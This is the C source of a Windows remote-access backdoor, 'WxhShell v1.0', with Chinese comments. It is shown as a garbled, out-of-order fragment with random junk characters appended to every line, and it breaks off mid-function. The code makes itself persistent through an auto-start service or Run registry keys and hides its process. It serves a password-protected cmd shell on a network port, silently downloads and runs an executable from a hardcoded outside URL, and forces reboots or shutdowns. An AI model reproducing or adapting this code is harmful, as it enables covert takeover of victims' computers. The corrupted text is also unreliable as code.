    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ysQ8==`38i  
    if(Boot(SHUTDOWN)) 67dp)X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S[7IBk%  
    else { \Zo xJ&  
    closesocket(wsh); |I=\+P}s  
    ExitThread(0); 1ogh8%  
    } mYqRN1%  
    break; =#{i;CC%  
    } -W XZOdUjs  
  // 获取shell AME6Zu3Y  
  case 's': { IF.6sJg:  
    CmdShell(wsh); F anA~  
    closesocket(wsh); S-)%#  
    ExitThread(0); \S"YLRn"  
    break; 9h 0^_|"  
  } /(skIvE|  
  // 退出 } T1~fa  
  case 'x': { $,B@yiie  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UZqk2D  
    CloseIt(wsh); V7i1BR8G  
    break; |.[4$C  
    } NQhlb"Ix  
  // 离开 S t0AV.N1  
  case 'q': { [)83X\CO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e025m}%SU  
    closesocket(wsh); Gv zw=~8  
    WSACleanup(); :1\QM'O  
    exit(1); WjvD C"  
    break; gDjs:]/YR  
        } XxEKv=_bc  
  } LVp*YOq7  
  } xt"GO  b  
3re|=_ Hy  
  // 提示信息 Z CS{D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6s|4'!  
} tL~?)2uEN  
  } B0}f,J\  
 mH*6Q>  
  return; t&=]>blIs  
} D$ +"n  
Xm}~u?$3  
// shell模块句柄 5KFd/9  
int CmdShell(SOCKET sock) =e$6o2!'}  
{ eb>YvC  
STARTUPINFO si; v(2|n}qY  
ZeroMemory(&si,sizeof(si)); |,Xrt8O/[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FUj4y 9X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {^VvL'n  
PROCESS_INFORMATION ProcessInfo; z`[q$H7?  
char cmdline[]="cmd"; ?Em*yc@WD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  R)?zL;,x  
  return 0; ^UAL5}CQt  
} RxVf:h'l  
vS|uN(a.P  
// 自身启动模式 #7~M1/eH=t  
int StartFromService(void) C4~`3Mk  
{ .OC{,f+  
typedef struct ^#VyIF3q  
{ gr")Jw7  
  DWORD ExitStatus; r*!sA5  
  DWORD PebBaseAddress; T7{Z0-  
  DWORD AffinityMask; .<C}/Cl  
  DWORD BasePriority; ki^c)Tqn  
  ULONG UniqueProcessId; ymLhSF][  
  ULONG InheritedFromUniqueProcessId; uT??t=vb  
}   PROCESS_BASIC_INFORMATION; $G5;y>  
Zom7yI  
PROCNTQSIP NtQueryInformationProcess; O8N\  
JS<4%@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d= -/'_'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $6X CHVx  
-  zQ  
  HANDLE             hProcess; t<6`?\Gk  
  PROCESS_BASIC_INFORMATION pbi; {IW pI *  
nsJN)Pt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '_~=C-g  
  if(NULL == hInst ) return 0; Ex ?)FL$4  
`_6!nk q8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {{?[b^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @,63%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jyx6{O j  
4#z@B1Jx  
  if (!NtQueryInformationProcess) return 0; ;@@1$mzK  
yH8 N8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); : qKxm(  
  if(!hProcess) return 0; +Zx+DW cq  
O&!tW^ih  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U. 1Vpfy  
xrK%3nA4s"  
  CloseHandle(hProcess); &Oq& ikw  
MT,LO<.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /2&jId  
if(hProcess==NULL) return 0;  >y&4gm  
`R]9+_"N  
HMODULE hMod; s wdW70  
char procName[255]; rZDlPp>BPZ  
unsigned long cbNeeded; %/:{x()G  
Z%Nl<i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dE+xU(\, w  
qF{u+Ms  
  CloseHandle(hProcess); 8}0W_CU,  
! Q`GA<ikv  
if(strstr(procName,"services")) return 1; // 以服务启动 J>P{8Aw  
n:GK0wu.s  
  return 0; // 注册表启动 vnXa4\Vdy  
} PX3rHKK {  
K YFumR  
// 主模块 *sqq]uD  
int StartWxhshell(LPSTR lpCmdLine) .Z}ySd:X  
{ pC2r{-  
  SOCKET wsl; oY:6a  
BOOL val=TRUE; 9&=~_,wJd  
  int port=0; `/'Hq9$F<"  
  struct sockaddr_in door; 5A:mu+Iz6H  
8VJUaL@  
  if(wscfg.ws_autoins) Install(); 5uK:f\y)l  
vMXS%Q  
port=atoi(lpCmdLine); }Lx?RU+@=  
J 21D/#v  
if(port<=0) port=wscfg.ws_port; |\ j'Z0  
j(!M  
  WSADATA data; 2B7X~t>8a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w<*tbq  
> _1*/o JO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zxtx~XO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2;G^>BP<  
  door.sin_family = AF_INET; c<j2wKz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bIP{DxKS  
  door.sin_port = htons(port); \FSkI0  
e uS"C*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (xJ6 : u  
closesocket(wsl); aD,sx#g0  
return 1; Efb>ZQ  
} bE2^sx`(  
k~u$&a  
  if(listen(wsl,2) == INVALID_SOCKET) { @eN x:}  
closesocket(wsl); )eNR4nF  
return 1; maLKUSgo  
} uYlC*z{  
  Wxhshell(wsl); }u&.n pc  
  WSACleanup(); ewqfs/  
d_*'5Eia6  
return 0; F kp;G  
lvIKL!;H  
} TdI5{?sW  
mxhO: .l  
// 以NT服务方式启动 sn&y;Vc[$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `'[u%UE  
{ LQ"56PP<  
DWORD   status = 0; *ta ``q  
  DWORD   specificError = 0xfffffff; NIeT.!  
5 fjeBfy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ja}_u}:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4;_{*U-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D0tmNV@  
  serviceStatus.dwWin32ExitCode     = 0; Y25S:XHk9  
  serviceStatus.dwServiceSpecificExitCode = 0; >&tPIrz  
  serviceStatus.dwCheckPoint       = 0; &'4id[$9  
  serviceStatus.dwWaitHint       = 0; 5Ya TE<G  
OWFLw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pq7G[  
  if (hServiceStatusHandle==0) return; q4<3 O"c1  
"W;Gv I  
status = GetLastError(); C)`k{(-{  
  if (status!=NO_ERROR) n4+l, ~  
{ 0.C y4sH'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]'=]=o~4  
    serviceStatus.dwCheckPoint       = 0; u~\u8X3  
    serviceStatus.dwWaitHint       = 0; ^#2w::Ds}!  
    serviceStatus.dwWin32ExitCode     = status; ppjd.  
    serviceStatus.dwServiceSpecificExitCode = specificError; jpZ, $  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;sCf2TD,_  
    return; 3(G}IWPq<  
  } Y"~I(,nx!  
)y(pd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zlZ$t{[,  
  serviceStatus.dwCheckPoint       = 0; 40N8?kQ}?  
  serviceStatus.dwWaitHint       = 0; 5BCXI8Ox9x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hex:e2x  
} yf+M  
.`& ($W  
// 处理NT服务事件,比如:启动、停止 V*rAZ0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cfu]umZLn  
{ tgH@|Kg  
switch(fdwControl) y^tuybpZY<  
{ Qx|m{1~-  
case SERVICE_CONTROL_STOP: O^48c$Apv  
  serviceStatus.dwWin32ExitCode = 0; x):cirwkl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ";yCo0*  
  serviceStatus.dwCheckPoint   = 0; 7udMF3;>  
  serviceStatus.dwWaitHint     = 0; Vm6G5QwM  
  { H#x=eDU|k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Q<c Y<  
  } 7OX5"u!2  
  return; PI(;t9]b  
case SERVICE_CONTROL_PAUSE: e.jrX;;$!&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X[:Hp`_$  
  break; .w\AyXp  
case SERVICE_CONTROL_CONTINUE: +0\BI<aG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]7n+|@3x  
  break; 2`I" QU  
case SERVICE_CONTROL_INTERROGATE: %Kx:'m%U  
  break; +uKh]RP  
}; vO!p8r F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PXG)?`^NX  
} S\K;h/;V  
NL 3ri7n  
// 标准应用程序主函数 .5'M^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3JM0 m (  
{ UVlD]oXKh  
xGTVC=q  
// 获取操作系统版本 ]#;;)K}>  
OsIsNt=GetOsVer(); Esvr~)Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;<d("Yz:@Z  
*ndXZ64  
  // 从命令行安装 R!b<Sg  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6gV-u~j[#  
2apR7  
  // 下载执行文件 p 9Zi}!  
if(wscfg.ws_downexe) { C-lv=FJEk/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;75K:_  
  WinExec(wscfg.ws_filenam,SW_HIDE); o<bZ.t  
} /"?yB$s  
E}Q'Wz|k  
if(!OsIsNt) { m(SGE,("w  
// 如果时win9x,隐藏进程并且设置为注册表启动 ol7%$:S  
HideProc(); ?U.+SQ  
StartWxhshell(lpCmdLine); G#-t&gO3  
} }Tf~)x  
else 0>Iy`>]  
  if(StartFromService()) G vMhgG=D  
  // 以服务方式启动 F7lhLly  
  StartServiceCtrlDispatcher(DispatchTable); SYd4 3P A  
else "s[wLclfG  
  // 普通方式启动 68JYA?  
  StartWxhshell(lpCmdLine); Bee`Pp2  
gKoB)n<[  
return 0; O4J <u-E$  
} [E<NEl *  
m/uBM6SXx  
>J!4x(;Yh  
7p*PDoM6`  
=========================================== VA + ?xk  
P}hHx<L  
t=o2:p6&  
-J*BY2LU3f  
dPZrX{ c  
N Q~keN  
" UngDXD )  
a)w *  
#include <stdio.h> 4{4VC"fa  
#include <string.h> cB#5LXbCE  
#include <windows.h> ci*rem  
#include <winsock2.h> y(/"DUx  
#include <winsvc.h> Kab"r_'  
#include <urlmon.h> 6D3hX>K4  
KSkT6_<  
#pragma comment (lib, "Ws2_32.lib") 0N.B =j|  
#pragma comment (lib, "urlmon.lib") oS3'q\  
1) 7n (  
#define MAX_USER   100 // 最大客户端连接数 vOIK6-   
#define BUF_SOCK   200 // sock buffer Ahl-EVIr<  
#define KEY_BUFF   255 // 输入 buffer 4.Luy  
-{[5P!  
#define REBOOT     0   // 重启 .kKU MyW(  
#define SHUTDOWN   1   // 关机 r Q)?Bhf  
ZLm?8g6-  
#define DEF_PORT   5000 // 监听端口 nk=+6r6  
2$ m#)*\  
#define REG_LEN     16   // 注册表键长度 *|WS,  
#define SVC_LEN     80   // NT服务名长度 \Gm$hTvB&  
Ok63 w7  
// 从dll定义API <% #Dwo}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ai>=n;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iQs^2z#Bd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &w15 GO;4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KA~eOEj M  
LF6PKS  
// wxhshell配置信息 CVUA7eG+  
struct WSCFG { *Rm"3S  
  int ws_port;         // 监听端口 ws}cMX]*  
  char ws_passstr[REG_LEN]; // 口令 Xa o*h(Q@L  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,',  S  
  char ws_regname[REG_LEN]; // 注册表键名 { 3,_i66  
  char ws_svcname[REG_LEN]; // 服务名 u}_,4J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lGoP(ki  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TOF_m$@#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >?3yVE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s'$5]9$S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` mvPbZ0<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K|^PHe  
80J87\)  
}; _A]8l52pt  
7Yv1et |  
// default Wxhshell configuration 1,Ams  
struct WSCFG wscfg={DEF_PORT, v=m!$~  
    "xuhuanlingzhe", .+ezcG4q  
    1, Oly"ll*K  
    "Wxhshell",  Y7*8 A,  
    "Wxhshell", i28WgDG)5  
            "WxhShell Service", A]<+Aq@{  
    "Wrsky Windows CmdShell Service", )ZZjuFQJ)  
    "Please Input Your Password: ", wPr9N}rf  
  1, Ygeg[S!7  
  "http://www.wrsky.com/wxhshell.exe", 8M6 Xd]{%  
  "Wxhshell.exe" t)qu@m?FZ)  
    }; HpLCOY1-  
9j94]w2v  
// 消息定义模块 -9PJ4"H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K Eda6zZH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6=pE5UfT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OdKfU^  
char *msg_ws_ext="\n\rExit."; S7!+8$2mc_  
char *msg_ws_end="\n\rQuit."; /H (55^EMZ  
char *msg_ws_boot="\n\rReboot..."; rgo#mTQ_  
char *msg_ws_poff="\n\rShutdown..."; $G\WW@*GE  
char *msg_ws_down="\n\rSave to "; g2 RrBK,  
z6'Cz}%EP'  
char *msg_ws_err="\n\rErr!"; 1R-1#<a>&  
char *msg_ws_ok="\n\rOK!"; IvZ,|R?  
7{z\^R^O  
char ExeFile[MAX_PATH]; @n|Mr/PAj  
int nUser = 0; *r)/Vx`S  
HANDLE handles[MAX_USER]; d9=i{i3  
int OsIsNt; 8'sT zB]  
}H5~@c$  
SERVICE_STATUS       serviceStatus; 7!qO*r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xdLMy#U2  
CJa`[;i0y  
// 函数声明 pH9xyN[:a  
int Install(void); isBtJ7\Sc  
int Uninstall(void); Bm>>-nG;  
int DownloadFile(char *sURL, SOCKET wsh); rtSG- _[i  
int Boot(int flag); b#%$y  
void HideProc(void); )tvP|  
int GetOsVer(void); :?!b\LJ2^  
int Wxhshell(SOCKET wsl); ?d!*[Ke8  
void TalkWithClient(void *cs); ?2(5 2?cJ  
int CmdShell(SOCKET sock); omP\qOc  
int StartFromService(void); @1w[~QlV  
int StartWxhshell(LPSTR lpCmdLine); z@<OR$/`L  
u+7S/9q8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); REg&[e+%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n[K LY!  
bmzY^ %a  
// 数据结构和表定义 IgIM8"N  
SERVICE_TABLE_ENTRY DispatchTable[] = .IU\wN  
{ PtTL tiE~  
{wscfg.ws_svcname, NTServiceMain}, }/bxe0px  
{NULL, NULL} 1a gNwFd~  
}; FG:t2ea  
yR3pK 0Y(?  
// 自我安装 mOC<a7#  
int Install(void) (-D^_*f  
{ F$sDmk#  
  char svExeFile[MAX_PATH]; +^<s'  
  HKEY key; _|Uv7>}J^  
  strcpy(svExeFile,ExeFile); _j\GA6  
XN^l*Q?3n  
// 如果是win9x系统,修改注册表设为自启动 \Ota~A  
if(!OsIsNt) { /2f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RVN;j4uMg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >d3`\(v-  
  RegCloseKey(key); WR"?j 9y_q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B"Ma<"HU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ey]WoUZ  
  RegCloseKey(key); <*Gd0 v%  
  return 0; @B`nM#X#  
    } Ro@ =oyLE  
  } Lcz`  
} nYnB WDnV  
else { F$j?}  
G"F)t(iX  
// 如果是NT以上系统,安装为系统服务 g-~]^$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aGAeRF  
if (schSCManager!=0) h-<Qj,L{W  
{ "h5.^5E6  
  SC_HANDLE schService = CreateService /jl/SV+  
  ( MBqw{cy  
  schSCManager, Xaw ~Hh)  
  wscfg.ws_svcname, GU|(m~,`  
  wscfg.ws_svcdisp, .3'U(U  
  SERVICE_ALL_ACCESS, oLS/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [gDl<6a#4  
  SERVICE_AUTO_START, t-i\gq^  
  SERVICE_ERROR_NORMAL, gX|We}H  
  svExeFile, 2EH0d6nt  
  NULL, Ya &\b 6  
  NULL, ffQm"s:P  
  NULL, yBRYEqS+  
  NULL, +-!2nk`"a  
  NULL l*w*e.ezQ  
  ); hLr\;Swyp  
  if (schService!=0) /o^/ J~/3  
  { _+9o'<#u(  
  CloseServiceHandle(schService); >} E  
  CloseServiceHandle(schSCManager); G3o`\4p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?J@P0(M#  
  strcat(svExeFile,wscfg.ws_svcname); 7Ucq(,\./  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Nw[J5-"k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +O)Y7k{?C5  
  RegCloseKey(key); ?="?)t[  
  return 0; ZY|$[>X!  
    } W)<t7q+  
  } $-p9cyk  
  CloseServiceHandle(schSCManager); feJl[3@tO  
} !'#GdRstv  
} @\WeI"^F8  
||))gI`3a  
return 1; #}lWM%9Dy  
} <Gna}ALkg  
Vb)NWXmyu  
// 自我卸载 aL&nD1f=!-  
int Uninstall(void) ,1B` Ve  
{ jp7cPpk:LG  
  HKEY key; NRT@"3,1YP  
z?@N+||,.  
if(!OsIsNt) { Nt|Fw$3*5{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *\Lr]6k  
  RegDeleteValue(key,wscfg.ws_regname); :O7n*lwx  
  RegCloseKey(key); je`Inn<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -wr_x<7  
  RegDeleteValue(key,wscfg.ws_regname); g`w46X  
  RegCloseKey(key); Q*hXFayx  
  return 0; _SnD)k+TgJ  
  } :=*V i`  
} ZfXgVTJ`  
} &x\cEI)!  
else { 4t-l@zFWb  
[V_+/[AA)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q-7L,2TL  
if (schSCManager!=0) i<(~J4}b  
{ V`8\)FFG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c#f@v45  
  if (schService!=0) x!6<7s  
  { vY7 @1_"  
  if(DeleteService(schService)!=0) { X}wo$t  
  CloseServiceHandle(schService); 4y.qtiIP>$  
  CloseServiceHandle(schSCManager); &smZ;yb|'h  
  return 0; 8F&Y;  
  } A&A{Thz  
  CloseServiceHandle(schService); ~9PZ/( '  
  } pekNBq Wm  
  CloseServiceHandle(schSCManager); ?AH B\S  
} l.P;85/+  
} IL1iTR H  
4hxa|f  
return 1; iuA_ Jr  
} <I#M^}`  
+`iJ+  
// 从指定url下载文件 ((&5F!+\-  
int DownloadFile(char *sURL, SOCKET wsh) B}"V.Msv/  
{ <'QI_mP*  
  HRESULT hr; )}P/xY0  
char seps[]= "/"; K)  Ums-b  
char *token; FU(2,Vl  
char *file; gLRDd~H  
char myURL[MAX_PATH]; Ylyk/  
char myFILE[MAX_PATH]; gZiwXb  
X:lStO#5  
strcpy(myURL,sURL); Y^nm{;G+  
  token=strtok(myURL,seps); 8rjD1<  
  while(token!=NULL) tyWDa$u,u  
  {  d0i|^  
    file=token; lwz\" 8  
  token=strtok(NULL,seps); a;v4R[lQ  
  } F+ 7*SImv6  
$fB j}\o  
GetCurrentDirectory(MAX_PATH,myFILE); h?H|)a<^9  
strcat(myFILE, "\\"); $wn0oIuW  
strcat(myFILE, file); [k0/ZfFwV  
  send(wsh,myFILE,strlen(myFILE),0); K&,";9c  
send(wsh,"...",3,0); tLxeq?Oo]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wffz&pR8  
  if(hr==S_OK) &E1m{gB(  
return 0; Y;'SD{On  
else xI.0m  
return 1; ~4|Trz2T  
'c_K[p$  
} l|{[vZpT  
nW} s  
// 系统电源模块 xQ2: tY#?  
int Boot(int flag) CB X}_]9X  
{ )\j dF-s  
  HANDLE hToken; !!ma]pB,  
  TOKEN_PRIVILEGES tkp; *H i}FI  
0OQ*V~>f  
  if(OsIsNt) { 2% /Kf}+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6`vW4]zu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +xgP&nw[-  
    tkp.PrivilegeCount = 1; 3Fxr=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E NCWOj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T--%UZD]W  
if(flag==REBOOT) { ?z <-Ww  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JypP[yQ  
  return 0; " Zx<hL*  
} `23][V  
else { 9UVT]acq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aj,o<J  
  return 0; 1;DRcVyS+  
} V#b=mp  
  } @OGG]0 J  
  else { fUGappb  
if(flag==REBOOT) { #vhN$H:&q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N|Ag8/2A  
  return 0; q3#+G:nh  
} GKjtX?~1  
else { /%s:aO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r/HCWs|  
  return 0; x(xi%?G  
} `R>z{-@=  
} KQvSeH>r  
~**x_ v  
return 1; .Zj`_5C  
} t=xEUOQAn  
qTN%9!0@9  
// win9x进程隐藏模块 ,lStT+A  
void HideProc(void) ,i??}Wm5G  
{ U4^c{KWS  
tXH;4K@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lixM0  
  if ( hKernel != NULL ) cJv/)hRaz  
  { {=?(v`88  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -B9e&J {K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RRB=JP{r  
    FreeLibrary(hKernel); G}^=(,jl  
  } dS3\P5D.*c  
1+WVh7gF  
return; i>]PW|]  
} `}KxzD  
1kw*Q:   
// 获取操作系统版本 )dqNN tS  
int GetOsVer(void) mJ=V <_  
{ \wk;Bo  
  OSVERSIONINFO winfo; @fJsRWvGq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CoNaGb  
  GetVersionEx(&winfo); zSQy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ux)*B}/xh  
  return 1; M?UUT8,  
  else 'j<u0'K@  
  return 0; <n06(9BF  
} Btm _S\1  
l EzN   
// 客户端句柄模块 zfv@<'  
int Wxhshell(SOCKET wsl) H@Ot77(*  
{ fn=A_ i  
  SOCKET wsh; ,LN^Zx*  
  struct sockaddr_in client; w5{l-Z  
  DWORD myID; d+,!p8Q  
;nP(S`'  
  while(nUser<MAX_USER) 5cinI^x)f  
{ :;yrYAyT3  
  int nSize=sizeof(client); }O>1tauI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j&_>_*.y  
  if(wsh==INVALID_SOCKET) return 1; }`Ya;  
rU&Y/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =CRptk6tS  
if(handles[nUser]==0) pR93T+X  
  closesocket(wsh); Ao$k[#px  
else 8K?}!$fz  
  nUser++; ThgJ '  
  } g:a[N%[C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W h9L!5  
;"x+V gS'  
  return 0; E V)H>kM  
} qbfX(`nS  
q%e'WMG~n  
// 关闭 socket H~nX! sO  
void CloseIt(SOCKET wsh) uJ -$i  
{ ?%UiW7}j';  
closesocket(wsh); oJr+RO  
nUser--; p|2GPrA]aL  
ExitThread(0); [B+F}Q^;  
} 4S ~kNp$  
A1-,b.Ni  
// 客户端请求句柄 \ *[Ht!y  
void TalkWithClient(void *cs) T@U,<[,   
{ 7Tdx*1 U  
}7 +%k/  
  SOCKET wsh=(SOCKET)cs; /go[}X5QR[  
  char pwd[SVC_LEN];  gmbRH5k  
  char cmd[KEY_BUFF]; 8I RKCuV  
char chr[1]; n|&=6hiI  
int i,j; X5[vQ3^  
anbw\yh8  
  while (nUser < MAX_USER) { U\H[.qY-  
].kj-,5>f  
if(wscfg.ws_passstr) { O5-GrR^yt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U(y8nI]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7;AK=;  
  //ZeroMemory(pwd,KEY_BUFF); I V# 8W  
      i=0; UtTlJb{-j  
  while(i<SVC_LEN) { bRy(`  
q%])dZ!lE  
  // 设置超时 #<b\BqYG  
  fd_set FdRead; 5)T[ha77u  
  struct timeval TimeOut; [znN 'Fg:"  
  FD_ZERO(&FdRead); V<S6 a  
  FD_SET(wsh,&FdRead); G&^8)S@1  
  TimeOut.tv_sec=8; <i</pA  
  TimeOut.tv_usec=0; !>> A@3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %K|f,w=m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3`%E;?2  
#J&3Zds  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5tpC$4m  
  pwd=chr[0]; 7`J2/(  
  if(chr[0]==0xd || chr[0]==0xa) { ;!S5P(  
  pwd=0; U'ctO%  
  break; X/2GTU7?  
  } 8Lx/ZGy  
  i++; VfpT5W<  
    } B._YT   
r/'!#7dLG-  
  // 如果是非法用户,关闭 socket |{kbc0*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~k"b"+2  
} ial{A6X  
4x[_lsj   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rIcgf1v70  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \z.bORy  
~:7y!=8#  
while(1) { R)JH D7 1  
Dh2Cj-| ~  
  ZeroMemory(cmd,KEY_BUFF); U52 V1b  
L}rZ1wV6  
      // 自动支持客户端 telnet标准   27ZqdHd  
  j=0;  FNH)wk  
  while(j<KEY_BUFF) { iZy>V$Aq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dB6 ,pY(  
  cmd[j]=chr[0]; u'#/vT#l  
  if(chr[0]==0xa || chr[0]==0xd) { ;K\2/"$QD  
  cmd[j]=0; }WIkNG4{Z  
  break; yPtE5"(o  
  } K*T^w3=  
  j++; tW|0_m>{  
    } i,<'AL )  
Itr 4 Pr  
  // 下载文件 #%nV\ Bl  
  if(strstr(cmd,"http://")) { T,9q~*"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2sIt~ Gn  
  if(DownloadFile(cmd,wsh)) PY7H0\S)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \f^xlX3&`  
  else ca7Y+9< ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pZ|{p{_j  
